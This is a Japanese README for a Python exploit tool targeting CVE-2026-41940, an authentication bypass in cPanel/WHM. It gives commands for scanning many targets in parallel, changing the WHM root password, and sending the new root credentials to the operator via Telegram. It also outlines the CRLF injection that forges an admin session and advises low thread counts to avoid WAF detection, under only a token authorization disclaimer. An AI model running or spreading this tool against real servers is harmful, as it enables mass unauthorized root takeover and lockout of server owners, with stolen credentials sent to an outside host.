
CVE-2026-41940のエクスプロイトスクリプト。cPanel/WHMにおけるCRLFインジェクションを利用した認証バイパスにより、管理者アクセスを取得してrootパスワードを変更します。マルチスレッドスキャンとTelegram通知に対応しています。
CVE-2026-41940 – cPanel/WHM 認証バイパス + ルートパスワード変更ツール このスクリプトは、cPanel/WHM(CVE-2026-41940)の認証バイパス脆弱性を、CRLFインジェクション技術を用いて管理者セッションを偽装することで悪用します。成功すると、スクリプトはWHMでrootユーザーのパスワードを変更し、Telegram経由で通知を送信できます。
警告: 所有している、または書面による許可を得たシステムのセキュリティテストにのみ使用してください。このスクリプトを不正アクセスに悪用することは法律違反となります。
📦 依存関係のインストール(PIP) このスクリプトにはPython 3.6以上と2つの外部ライブラリが必要です。次のコマンドを実行してください:
pip install requests urllib3 requests – 柔軟なHTTPリクエスト送信用
urllib3 – SSL警告(自己署名証明書)を無効化するために使用
その他のライブラリ(argparse、json、re、threading、concurrent.futuresなど)はPython標準ライブラリに含まれています。
🚀 使用方法
(任意)Telegram通知が必要な場合、スクリプト内の HARDCODE TELEGRAM セクションの2行を編集します:
python TELEGRAM_BOT_TOKEN = 'token_bot_dari_BotFather' TELEGRAM_CHAT_ID = 'chat_id_anda_atau_group' 通知が不要な場合は、そのまま(: と -)にしておきます。
基本構文 bash python cve-2026-41940.py --target https://ip:2087 --password root123 python cve-2026-41940.py --targets-file targets.txt --password rahasia --threads 20 --output hasil.json python cve-2026-41940.py --target https://ip:2087 --check-only
利用可能な引数 引数 必須? 説明 --target いずれか一方 単一ターゲット、例: https://192.168.1.100:2087 または 192.168.1.100(デフォルトポート2087) --targets-file いずれか一方 ターゲットリストを含むテキストファイル(1行に1つ、ip:port 形式または完全なURL) --password --check-only でない場合 WHMのrootユーザー用の新しいパスワード --check-only いいえ パスワードを変更せずに、ターゲットが脆弱かどうかのみを確認 --threads いいえ(デフォルト10) 並列実行用のスレッド数 --timeout いいえ(デフォルト15) HTTP接続タイムアウト(秒) --output いいえ 結果をファイル(JSON)に保存 注: WHM(SSL)用のポート2087は、指定されていない場合に自動的に追加されます。
使用例 単一ターゲットの脆弱性を確認(テストのみ):
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --check-only 悪用してrootパスワードを p4ssw0rd! に変更:
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --password p4ssw0rd! list.txt から20スレッドで多数のターゲットをスキャンし、結果を sukses.json に保存:
bash python cve-2026-41940.py --targets-file list.txt --password MyNewPass123 --threads 20 --output sukses.json list.txt の内容例:
text 192.168.1.1:2087 https://cpanel.example.com 203.0.113.99 5. 出力と通知 各ターゲットのステータスが画面に表示されます: [+] 成功、[-] 失敗、[!] エラー、[*] 処理中。
--output を指定した場合、すべての結果がJSON形式で保存されます。
Telegram認証情報が入力されている場合、悪用に成功すると次のようなメッセージが送信されます:
text ✅ SUCCESSFUL EXPLOIT ✅ ┌ Target: 203.0.113.10:2087 ├ Username: root ├ Password: MyNewPass123 ├ WHM Version: 122.0.19 └ Time: 2025-03-20 10:15:30 UTC ⚙️ 動作の概要 Pre‑auth – 失敗したログインを送信して whostmgrsession クッキーを取得。
CRLFインジェクション – Authorization ヘッダーに Basic ペイロードを追加して、偽のセッション行を挿入。
伝播 – /scripts2/listaccts にアクセスして、脆弱性が悪用可能であることを確認。
検証 – json-api/version を呼び出し、成功した場合はWHMにrootとしてアクセス可能。
パスワード変更 – user=root と新しいパスワードのパラメータで passwd API を呼び出し。
通知 – 結果をTelegramに送信(トークンが入力されている場合)。
⚠️ 重要な注意事項 このスクリプトはcPanel/WHMのバージョンを直接検出しませんが、利用可能な場合はバージョンを表示します。
一部のターゲットには、ペイロードをブロックする mod_security やWAFがある場合があります。検出を避けるため、--threads を高く設定しすぎないでください。
常に許可を得て、道義的責任を持って使用してください。
作者: dennisec (github.com/dennisec) ライセンス: 教育目的のみ